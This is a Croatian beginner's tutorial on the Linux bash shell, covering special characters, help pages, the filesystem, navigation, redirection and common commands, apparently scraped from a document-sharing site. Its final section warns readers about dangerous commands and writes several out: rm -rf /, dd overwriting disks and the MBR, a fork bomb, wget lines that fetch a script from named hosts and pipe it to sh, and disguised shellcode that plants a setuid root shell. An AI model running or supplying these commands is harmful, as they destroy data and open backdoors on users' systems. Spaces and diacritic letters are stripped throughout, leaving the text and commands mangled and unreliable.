Upload
blaiddgrey
View
35
Download
4
Embed Size (px)
Citation preview
Linuxterminalupoznajtebash
AutorVelimirBaksaakaLutherususuradnjisaLinuxzasve.com&wiki.open.hr
Copyrightiredistribucija
OvajtutorialjepisansnamjeromdapostanekoristanvodikorisnicimakojieleupoznatiBASHljuskuinekeosnovnenaredbe.KrenuosamspretpostavkomdaitateljneznanitaoLinuxuiLinuxnaredbama,pabiovajdokumenttrebaopruitiuvidunjih,tj.ukazatinaslinostiirazlikeuodnosunaDOSnaredbe.UeljidaovajvodiuinimdostupnimsvimljudimaodluiosamgaobjavitipodFreeDocumentationLicense.ImatemojedoputenjedagamijenjateiredistribuiratepoduvjetimakojisunavedeniuGNUFreeDocumentationLicense.Zasvapitanjaiprijedlogemoetemekontaktiratinaemaillutherus@gmx.com
OvajdokumentjenastaokoritenjemslobodnogpaketauredskihalatapodimenomLibreOfficenaslobodnomoperacijskomsustavuArchLinux.ZadetaljnijeinformacijeoLibreOfficepaketuposjetitestranicuhttp://www.libreoffice.org/
1.0.tojetoshell?
Programkojiinterpretiranaredbe
omoguavakorisnikuizvravanjenaredbibilodirektnimupisivanjembilopokretanjemistihiztekstualnedatotekekojunazivamoshellskriptom
shellnijeoperativnisustav,venainzakomunikacijusraunalom
1.1.tojeBASH?
BASH=BourneAgainShell
BASHjenapisankaoslobodnazamjenazaoriginalanBourneShell(/bin/sh)kojijenapisaoSteveBournezaUNIX
imasvemogunostioriginalnogBourneshellatenekenovekojeomoguujulakeprogramiranjeikoritenjenaredbenogretka
obziromdajefreesoftware,prihvaenjekaonativnaljuskauveiniLinuxdistribucija
1.2.KolikojeBASHdrugaijiodDOScommandprompta?
CaseSensitive:uLinuxusunaredbeosjetljivenavelikaimalaslova,toznaidaukolikoseuneseLSumjestols,dogoditesegreka
\i/:UDOSujeznak/graninikargumenatanaredbedokje\separatordirektorija.ULinuxu/jeseparatordirektorijaa\jesimbolzaizlaz.Posebnimsimbolimaemosepozabavitikasnije.
Imenadatoteka:UDOSusekoritetzv.eightdotthreeimena,toznaidasvakadatotekasmijesadravatido8znakovanakonkojihslijedi.(toka)tenazivekstenzije,npr..exeili.txt.ULinuxujetodrugaijenemaekstenzijadatoteka.Nakrajskriptemoeteainemoratestaviti.shili.py
1.3.PosebniznakoviPrijenegokrenemodubljeuprouavanjeBASHljuske,potrebnojeznatidapostojenekiznakovikojeBASHinterpretirakaonaredbe.Toznaidapostojeznakovi:
a)kojenemoetekoristitiunekimsituacijama
b)kojisekoristezaodreeneoperacije
c)kojemorateizbjegavatiprilikomradaushellujererezultiratineeljenimishodom
Znak Opis
\ znak"bijega",izlaza;akogaelitekoristitikaoposebanznakprvogamorateizbjei.npr.touch/tmp/filename\*
/ separatordirektorija,koristisezaodvajanjedijelovaputanjeunazivunpr./home/username/Documents
. trenutnidirektorij;takoersekoristizaskrivanjedatotekaimapaakosestavinaprvomjestouimenu
.. koristisezavraanjekrozdirektorije
~ oznaava/homedirektorij
* oznaava0ilivieznakovauimenudatoteke,akadsekoristisamostalnotadasvedatotekeudirektoriju
? predstavljajedanznakudatotenomimenu,nprshelltutorial?.txtmoepredstavljatishelltutorial1.txtilishelltutorial2.txt,alineishelltutorial12.txt
[] koristisesaprikaznizavrijednosti,[09],[AZ]
| koristisezaspajanjedvijunaredbi
> preusmjeravaizlaznirezultatnaredbeunovudatoteku;akodatotekaistogimenapostojipisateprekonje.nprls>mojedatoteke.txt
>> preusmjeravaizlaznirezultatnaredbenazavretakpostojeedatotekenpr.echo"[email protected]">>adresar.txt
; odvajateljnaredbi;koristisezaizvravanjevienaredbiuistomreducd/var/log;lessmessages
&& takoerodvajateljnaredbi,nosljedeojnaredbidoputadaseizvrisamoakojeprethodnaprolabezgreakacd/var/logs&&lessmessages
& izvravanaredbuupozadiniteodmahkorisnikuvraashellfind/namecore>/tmp/corefiles.txt&
1.4.IzvravanjenaredbiPutanjanaredbe
Veinanaredbijesmjetenauputanjushella(eng.path)toznaidajezanjenoizvrenjepotrebnoupisatijeushellkakobiseonaiizvrila.Primjerice,kadupiemolspokrenuteselsnaredba.Putanjashellaukljuujenajeelokacijeprograma,/bin,/usr/bin,/usr/X11R6/binislino.
Zapokretanjeprogramakojinisuuputanjishellamoraseunijetiiputanjadoistog.
Npr.:/home/lutherus/scripts/inversematrix(putanjadomojeskriptezaraunanjeinverznematricekojasenalaziumomdirektorijusaskriptama)
1.5.Sintaksanaredbe
Naredbesemogupokretatisamostalnoiliimsemogudodatiargumentizaizvravanjedodatnihfunkcija.Tipinasintaksaizgledaovako:naredba[argument][argument][argument] [datoteka]
Primjeri:lslistadatotekeutrenutnomdirektoriju
lsllistadatotekeutzv.dugomformatu
lslcolorkaoiprethodnasamoispisudodajeboje:)
2.0.PomoKada"zapnete"itrebatepomo,onajeuLinuxunekolikopritisakatipkeudaljenaodvas.Suprotnouvrijeenommiljenju,svialatiisvenaredbenesamouLinuxuveiucijelomopensourcesvijetusuvrlodobrodokumentirani,estodalekovieikvalitetnijenegonaMSWindowsimakojidokumentirajusamopopularneiestokoritenenaredbe.Zapristuppomoiikorisniminformacijamapostojiviemogunosti.NekedistribucijepoputRedHataiOpenSuSEa,poduvjetomdaimateinstaliranografikookruenje,imajuGUIalate,odnosnospecijaliziranepreglednikezapristupinformacijama.Takoerpostojeiopcijeusamomterminaluzadobivanjepomoi.
2.1.KoritenjenaredbehelpVeinanaredbiimajednostavnehelpprozorekojisemogupozvatisdodatnimargumentima.
Tiargumentisuobinohilihelp.
Npr.grephelp,
smplayerh
2.2.OnlinepriruniciNajboljiizvorinformacijazaveidioalatasemoenaiupravouonlineprirunicima.
Openitosenazivajumanstraniceilikraesamoman.Kakobistemogliproitatiprirunikupiitemanteizamanimenaredbeiliprogramaokokojegtrebatepomo.
Npr.manlsdajepriruniknaredbeman
manmplyerdajeprirunikzaprogrammplayer
Zatraenjeodreenerijeiunutarstranicamanuala,potrebnojeupisatieljenurije.ZaizlazakizmanualapotrebnojepritisnutiQ.Ponekadsenemoetesjetitikakosenekanaredbatonozove,noznatetoradi?Utomsluajutakoermoetekoristitiman.Akoelitepromijenitiovlastinekojdatoteci,atrenutnosenemoetesjetitiimenanaredbezamijenjanjeovisnosti,toimemoetesaznatiovako:mankpermission
Rezultatebitisljedei
~>mankpermission
access(2)checkrealuser'spermissionsforafile
acl_add_perm(3)addapermissiontoanACLpermissionset
acl_clear_perms(3)clearallpermissionsfromanACLpermissionset
acl_delete_perm(3)deleteapermissionfromanACLpermissionset
acl_from_mode(3)createanACLfromfilepermissionbits
acl_get_perm(3)testforapermissioninanACLpermissionset
acl_get_permset(3)retrievethepermissionsetfromanACLentry
acl_set_permset(3)setthepermissionsetinanACLentry
chmod(2)changepermissionsofafile
eaccess(3)checkeffectiveuser'spermissionsforafile
euidaccess(3)checkeffectiveuser'spermissionsforafile
faccessat(2)checkuser'spermissionsofafilerelativetoadirectoryfiledescriptor
faked(1)daemonthatremembersfakeownership/permissionsoffilesmanipulatedbyfakerootprocesses.
fchmod(2)changepermissionsofafile
fchmodat(2)changepermissionsofafilerelativetoadirectoryfiledescriptor
filetest(3perl)Perlpragmatocontrolthefiletestpermissionoperators
ioperm(2)setportinput/outputpermissions
keyctl_setperm(3)Changethepermissionsmaskonakey
Tcl_Access(3)checkfilepermissionsandotherattributes
Tcl_Stat(3)checkfilepermissionsandotherattributes
XF86VidModeGetPermissions(3)ExtensionlibraryfortheXFree86VidModeXextension
~>
Onotovamatrebajechmod(2)changepermissionsofafileikaotoviditenalazisenapopisuponuenihnaredbiskratkimopisom.
2.3.InfostraniceNekiprogrami,posebnooniizdaniodstraneFreeSoftwareFoundationa,koristeinfostranicekaoglavniizvordokumentacije.Infostranicesuvrloslinemanstranicama,noumjestoispisaudugakimtekstovimakaoman,oneseispisujuukratkimsekvencamaslinkovimanadrugeinformacije.Pozivaihsesainfoispredimenanaredbeiliprograma.
Npr.infodfpozivainfodfnaredbe
TakoerpostojiiLDP(LinuxDocumentationProject)kojinesamodaprikupljasveinfoimanstranice,vesetamonalazeivrlokorisniHOWTOiminiHOWTOsavjetitezgodniminitutorialinakojesesvakakoisplatibacitioko.
3.0.NavigacijakrozLinuxovdatotenisustavLinuxovdatotenisustavjesustavhijerarhijestabladirektorijaidatoteka.
Upodnojuse,kaousvakogstabla,nalazikorijenodnosno/direktorij(/oznaavaroot(korijenski)direktorij).DokMSWindowsoperativnisustavimaviekorijenskihmapa(zasvakidiskiparticijupojednu),Linuxsvakidiskmontiraiznadkorijenskemapestvarajuitakostrukturustabla.
3.1.TablicaizgledaLinuxdatotenehijerarhije
Direktorij Opis
/ Bezimenabazadatotenogsustava.Svidiskovi,mapeiureajisuprikljueninakorijen.estose/krivotumaikao"slash"direktorijno/jesamoseparator(odvajatelj)direktorija,anedirektorij.
/bin Datotekebitnihnaredbinarazinisingleusermoda,zasvekorisnike(npr.cat,ls,cp).
/boot Datotekepotrebnezapokretanjesustava(npr.kernel,GRUBdatoteke).estoinazasebnojparticiji.
/dev Datotekekojepredstavljajufizikeilivirtualneureaje(npr.diskovi,USBidrugiportovi).
/etc Konfiguracijskedatotekesustavakojevrijedezacijelisustav(alineizakorisnikeprogrameipostavkekojesuspremljeneukorisnikomdirektoriju(/home/ime/)
/home Korisnikihomedirektoriji(joiOsobnamapa)sadrekorisnikeprivatnepodatkeipostavke.esto(ipreporueno)naposebnojparticiji,odvojenojodsustava.
/lib Bitnebibliotekezaprogrameizdirektorija/bin/i/sbin/.
/proc Virtualnidatotenisustavzaprikazradakernelaiprocesauoblikutekstualnihislinihdatoteka.
/root Homedirektorijrootkorisnika.Upravilusenalazinaistojparticijigdjeicijelisustav(sadrajrootdirektorija).
/sbin Bitnisistemskiprogrami(npr.,init,route,ifconfig,...).
/tmp Privremenipodaci,kojiseobinoneuvajunakonponovnogpokretanjaraunala.
/usr Sekundarnahijerarhijazakorisnikepodatke;sadriglavninukorisnikihalataiaplikacija.
/usr/bin Manjebitneizvrnedatotekeprogramainaredbe(nepotrebneutzv.singleusermodu);namijenjenozasvekorisnike.
/usr/include Standardneincludedatoteke.
/usr/lib Bibliotekeprogramaiz/usr/bin/i/usr/sbin/.
/usr/local Tercijalnahijerarhijazalokalnepodatke.Strogopremastandardu,
/usr/local/sluizapodatkekojimorajubitipohranjeninalokalnomraunalu(suprotnood/usr/,kojimogubitimontiraniprekomree.
/usr/sbin Manjebitnesistemskedatoteke(npr.daemonizarazliiteservise).
/usr/share Datotekekojesuneovisneoarhitekturi(dijeljenedatoteke),npr.slike/ikoneilidokumentacija.
/usr/src Datotekeizvornogkoda(npr.kernelovizvornikod).
/usr/X11R6 XWindowSystem.
/var Promjenjivedatotekekaotosulogovi,spooloviisl.
3.2.NaredbezanavigacijukrozdatotenisustavPrvastvarkojuobinoelitekadinstalirateLinuxikreneteuitijestkretatisesustavomividjetitosesvetamonalazi.Sljedeenaredbeevampokazatikakosetoradi,alinesamoto,veevamreigdjesenalazite,odvestivasnegdjedrugdjeipokazatitosetamonalazi.Sljedeatablicatrebalabiopisatipwd,cdilsnaredbeteihusporeditisaDOSnaredbamaistenamjenekojesigurnoveznate.
Linux DOS Opis
pwd cd PrintWorkingDirectoryprikazujehijerarhijudirektorijaukojemsetrenutnonalazimo
cd cd,chdir Vraau/homedirektorij
cd/mapa cdmapa Mijenjalokacijuuzadanumapu
cd~ ~oznaava/homedirektorij
cd.. cd.. Vraajedandirektorijunatrag
cd Vraauprethodnidirektorij
ls dir/w Ispisujesvedatotekeutrenutnomdirektoriju
lsdirektorij dirdirektorij Ispisujesvedatotekeuzadanomdirektoriju
lsl dir Ispisujedatotekeutzv.dugomformatu
lsa dir/a Ispisujesvedatotekeukljuujuiskrivene
lsld/firektorij Ispisujedetaljneinformacijeozadanomdirektorijuutzv.dugomformatu
4.0.SpajanjeipreusmjeravanjePrijenegonauimojonekekorisnenaredbemaloemozastranitiiupoznatispajanjeipreusmjeravanjenaredbiiprograma.OsnovnafilozofijaUNIXa,atimeiLinuxa,jeimatimnotvomalihalatakojiizvrsnoobavljajuodreenposao.KakojeOSkorisnikovaodgovornost,omoguenomujespajanjeikombiniranjevienaredbii/iliprogramakakobipoveaoefikasnostsvograda.
4.1.SpajanjenaredbiZnakzaspajanjeje|(pipecharacter).Koristisezaspajanjedvijuilivienaredbiujednu.
Izlazprvenaredbejespojenspoetkomdrugenaredbe,aukolikosepojaviitreanaredba,izlazdrugesespajasanjenimpoetkomitd.kaonaprimjerlsla/usr/bin|less.
4.2.PreusmjeravanjeizlazaudatotekeVrlokorisnastvarjemogunostpreusmjeravanjaishodanaredbeiliprogramaudatoteku.
Naprimjer,elimokreiratidatotekuukojojsuizlistanesve.flacdatotekeizodreenogdirektorijakoristiemoznak>.
lsl~/Music/*.flac>katalog_glazbe.txt
Takoer,nakrajnastaledatotekekatalog_glazbe.flacmoemododatijomalostvarikoristeislinunaredbu
lsl/media/death_metal_vol5/*.flac>>katalog_glazbe.txt
5.0.OstalenaredbeUovomdijeluemoprikazatiostalenaredbekojemogubitivrlokorisneusvakodnevnomradusLinuxom.Obziromdaovdjenijemoguepokritiopisesvihnaredbi,nemojtezaboravitidauvijekmoetekoristitimaniinfostranice:).
5.1.RadsadatotekamaidirektorijimaSljedeenaredbesekoristezapronalaenjeinformacijaodatotekamaidirektorijimatemanipulacijunjimanaraznenaine(kopiranje,micanje,brisanje,...)
Naredba Opis
file Saznajtekakvajedatoteka,npr.file/bin/lsreievandajetoLinuxizvrnadatoteka
cat Ispisujesadrajtekstualnedatoteke
head Ispisujeprvihnekolikoredovatekstualnedatoteke
tail Ispisujenekolikozadnjihredovatekstualnedatoteke
tailf Ispisujenekolikozadnjihredovadatoteketeihnadopunjujekakodatotekaraste.Vrlokorisnozaitanjelogdatoteka
cp Kopiradatotekesjednelokacijenadrugu
mv Miedatotekenanovulokaciju
rm Briedatoteke
mkdir Stvaranovidirektorij
rmdir Briedirektorij
5.2.PronalaenjeraznihdatotekaSljedeenaredbesekoristezapronalaenjeraznihdatoteka.Naredbalsjeodlinazapronalaenjedatotekaukolikoznateukojemdirektorijusenalaze.Ovenaredbeevamsauvatiivceivrijemeakostezaboraviligdjesteihstavili.
Naredba Opis
which Prikazujepunuputanjunaredbeuljusci
whereis Traenjelokacijarelevantnihdatotekaodreenogprograma
locate Brznainzatraenjedatotekabilogdjeudatotenomsustavu
find Koristisezatraenjedatotekapoddanimuvjetima,npr.find.name\*py
5.3.InformacijeosustavuSljedeenaredbesuvrlomoneikorisne.Omoguavajunampronalaenjeinformacijaonaemsustavu.
Naredba Objanjenjenaredbe
ps Ispisujetrenutnoaktivneprocese
w Pokazujetkojelogiranitoradi
id Ispisujevakorisnikiidentitetigrupeukojimasenalazite
df Pokazujekolikodatotenisustavzauzimaprostoranadisku
du Pokazujekolikotrenutnidirektorijzauzimaprostoranadisku
top PrikazujeCPUproceseufullscreenGUIu,zaizlazpritisnutiQ
free Prikazujeomjerslobodneikoriteneradnememorije
cat/proc/cpuinfo Prikazujeinformacijeoprocesoru
cat/proc/meminfo Prikazujeinformacijeosistemskojmemoriji
unamea Detaljanprikazinformacijasustava(inaicakernela,tipraunala,...)
5.4.NaredbedobrezaznatiEvojonekihkorisnihnaredbakojejezgodnopoznavati:
Naredba Opis
clear istiekran
more Ispisujeizlazprogramanaekranlsla|more
less Poboljanazamjenazanaredbumore
grep Traiuzorakdatotekeiliizlazaprograma,npr.,dabistesaznalikojiTCPportkoristikojunfsuslugu:grepnfs/etc/services
lpr Ispisujeizlazprograma;lsla|lpr
sort Koristisezasortiranjeizlaza,npr.sortmp3files.txt
su Koristisezaulazakurootkorisnikiraun
5.5.KraticekojeolakavajuivotNakonduegkoritenjabashacijeniteteovekratice:
Kratica Opis
Strelicegore/dolje Kretanjetekstom
history Prikazujecjelokupnupovijest
TipkaTAB Vrlojekorisna.Unesitepoetaknaredbeipritisaknatabjudovri
! Pokuajteutipkati!iprvihnekolikoslovanaredbe,npr.utipkajtefind/usr/bintypefnamem\*izatim!fi
CTRL+R PritisaknaCTRL+Riunosdijelanaredbetraitunaredbuzavas.
ShiftPageUpandPageDown
Skrolajtenaprijednatragkrozterminal
6.0.OpasneimalicioznenaredbeMnogikorisnicinemislesvojomglavomiodbijajuitatimaniinfostranice,tenaredbeuterminalunosecopy/pastemetodom,atenaredbeestopronalazenaInternetuporaznimblogovimaiforumima.
Tojevrloglupo,nepromiljenoineodgovorno.Meutimnaredbamasemogunaiioneopasnekojeenatetitivaemsustavu.Uovomdijeluvaselimupoznatisnekimtakvimnaredbama.
6.1.Naredbekojeenatetitivaemsustavu
Naredba Opis
sudormrf/ Zahtijevaadministratorskeovlasti.Ovanaredbaeobrisatisvedatotekenavaemsustavu
sudormrf. Obrisatedirektorijukojemsenalazite
sudormrf* Obrisatesvedatotekedirektorijaukojemsetrenutnonalazite
rmrf*ilirmrf*.* Briesvedatotekedirektorijabezadministratorskihovlasti
rmrf~/& Unititeva/homedirektorij
6.2.Naredbekojeeobrisativaharddisk
Naredba Opis
sudomkfs FormatiraHDD
d.d. Naredbemogubitivrloopasne,posebnokadaneznatetorade!!
sudoddif=/dev/zeroof=/dev/hdanajopasnijaodsvih.Radi0vaemdisku
sudoddif=/dev/hdaof=/dev/hdb
sudoddif=somethingof=/dev/hda
sudoddif=/dev/nullof=/dev/sdabs=446count=1brieMBR!!
Ovenaredbeprivlaepanjuipodiuradoznalost,nonemojteihunositiuterminalinemojteseigratisnjima!!!
Evojonekolikoprimjeraopasnogkodakojitrebaizbjegavatiineunositiuterminal.
:(){:|:&};:iforkwhilefork
wgethttp://ceattingal.ac.in/maliciousscriptsh./maliciousscript
i
wgethttp://ihrd.org/maliciousscriptO|sh
tetakoervrloopasankod
charesp[]__attribute__((section(".text")))/*e.s.prelease*/="xebx3ex5bx31xc0x50x54x5ax83xecx64x68""xffxffxffxffx68xdfxd0xdfxd9x68x8dx99""xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7""x56x04xf7x56x08xf7x56x0cx83xc4x74x56""x8dx73x08x56x53x54x59xb0x0bxcdx80x31""xc0x40xebxf9xe8xbdxffxffxffx2fx62x69""x6ex2fx73x68x00x2dx63x00""cpp/bin/sh/tmp/.beyond;chmod4755/tmp/.beyond;";